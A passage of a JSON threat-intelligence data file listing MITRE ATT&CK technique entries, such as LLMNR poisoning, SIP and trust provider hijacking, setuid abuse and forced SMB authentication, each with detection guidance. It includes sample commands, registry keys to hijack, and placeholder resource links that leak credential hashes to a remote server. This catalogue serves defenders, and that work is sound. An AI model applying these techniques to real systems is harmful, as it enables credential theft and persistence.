      "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64,  MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
      "meta": {
        "external_id": "T1132",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Process use of network",
          "Process Monitoring",
          "Network protocol analysis"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1132",
          "https://en.wikipedia.org/wiki/Binary-to-text%20encoding",
          "https://en.wikipedia.org/wiki/Character%20encoding",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
      "value": "Data Encoding - T1132"
    },
    {
      "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)\n\nDetection: Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool. (Citation: GitHub Conveigh)\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Packet capture, Netflow/Enclave netflow\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
      "meta": {
        "external_id": "T1171",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "Packet capture",
          "Netflow/Enclave netflow"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1171",
          "https://en.wikipedia.org/wiki/Link-Local%20Multicast%20Name%20Resolution",
          "https://technet.microsoft.com/library/cc958811.aspx",
          "https://github.com/nomex/nbnspoof",
          "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr%20response",
          "https://github.com/SpiderLabs/Responder",
          "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
          "https://github.com/Kevin-Robertson/Conveigh"
        ]
      },
      "uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
      "value": "LLMNR/NBT-NS Poisoning - T1171"
    },
    {
      "description": "Adversaries may search local file systems and remote file shares for files containing passwords.  These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nDetection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Access to files",
      "meta": {
        "external_id": "T1081",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1081",
          "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
          "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
        ]
      },
      "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
      "value": "Credentials in Files - T1081"
    },
    {
      "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attachment malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).\n\nDetection: URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once User Execution occurs.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Packet capture, Web proxy, Email gateway, Detonation chamber, SSL/TLS inspection, DNS records, Mail server",
      "meta": {
        "external_id": "T1192",
        "kill_chain": [
          "mitre-attack:enterprise-attack:initial-access"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Web proxy",
          "Email gateway",
          "Detonation chamber",
          "SSL/TLS inspection",
          "DNS records",
          "Mail server"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1192"
        ]
      },
      "uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba",
      "value": "Spearphishing Link - T1192"
    },
    {
      "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote Support: Yes",
      "meta": {
        "external_id": "T1086",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "File monitoring",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1086",
          "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
          "https://github.com/PowerShellEmpire/Empire",
          "https://github.com/mattifestation/PowerSploit",
          "https://github.com/jaredhaight/PSAttack",
          "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
          "https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html"
        ]
      },
      "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
      "value": "PowerShell - T1086"
    },
    {
      "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
      "meta": {
        "external_id": "T1063",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1063"
        ]
      },
      "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7",
      "value": "Security Software Discovery - T1063"
    },
    {
      "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
      "meta": {
        "external_id": "T1152",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1152",
          "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
        ]
      },
      "uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
      "value": "Launchctl - T1152"
    },
    {
      "description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n===Browser-based Exploitation===\n\nWeb browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n===Office Applications===\n\nCommon office and productivity applications such as Microsoft Office are also targeted through Spearphishing Attachment, Spearphishing Link, and Spearphishing via Service. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n===Common Third-party Applications===\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Anti-virus, System calls, Process Monitoring\n\nSystem Requirements: Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.\n\nRemote Support: Yes",
      "meta": {
        "external_id": "T1203",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Anti-virus",
          "System calls",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1203"
        ]
      },
      "uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
      "value": "Exploitation for Client Execution - T1203"
    },
    {
      "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Travis Smith, Tripwire, Matthew Demaske, Adaptforward",
      "meta": {
        "external_id": "T1031",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "File monitoring",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1031",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902",
          "https://twitter.com/r0wdy%20/status/936365549553991680",
          "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)"
        ]
      },
      "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
      "value": "Modify Existing Service - T1031"
    },
    {
      "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1032",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Netflow/Enclave netflow",
          "Malware reverse engineering",
          "Process use of network",
          "Process monitoring",
          "SSL/TLS inspection"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1032",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
          "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
          "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
          "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
        ]
      },
      "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
      "value": "Standard Cryptographic Protocol - T1032"
    },
    {
      "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n*'''Note:''' The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nDetection: Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n* '''Note:''' As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using Regsvr32. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Application Logs, DLL monitoring, Loaded DLLs, Process Monitoring, Windows Registry, Windows event logs\n\nDefense Bypassed: Application whitelisting, Autoruns Analysis, Digital Certificate Validation, Process whitelisting, User Mode Signature Validation\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Matt Graeber, @mattifestation, SpecterOps",
      "meta": {
        "external_id": "T1198",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Application Logs",
          "DLL monitoring",
          "Loaded DLLs",
          "Process Monitoring",
          "Windows Registry",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1198",
          "https://msdn.microsoft.com/library/ms537359.aspx",
          "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
          "https://specterops.io/assets/resources/SpecterOps%20Subverting%20Trust%20in%20Windows.pdf",
          "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
          "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
          "https://github.com/mattifestation/PoCSubjectInterfacePackage",
          "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
          "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
          "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
        ]
      },
      "uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31",
      "value": "SIP and Trust Provider Hijacking - T1198"
    },
    {
      "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1166",
        "kill_chain": [
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1166"
        ]
      },
      "uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
      "value": "Setuid and Setgid - T1166"
    },
    {
      "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.  (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n*A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n*A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\n\nDetection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network\n\nPermissions Required: User\n\nContributors: Teodor Cimpoesu, Sudhanshu Chauhan, @Sudhanshu_C",
      "meta": {
        "external_id": "T1187",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Network protocol analysis",
          "Network device logs",
          "Process use of network"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1187",
          "https://en.wikipedia.org/wiki/Server%20Message%20Block",
          "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/",
          "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx",
          "https://github.com/hob0/hashjacking",
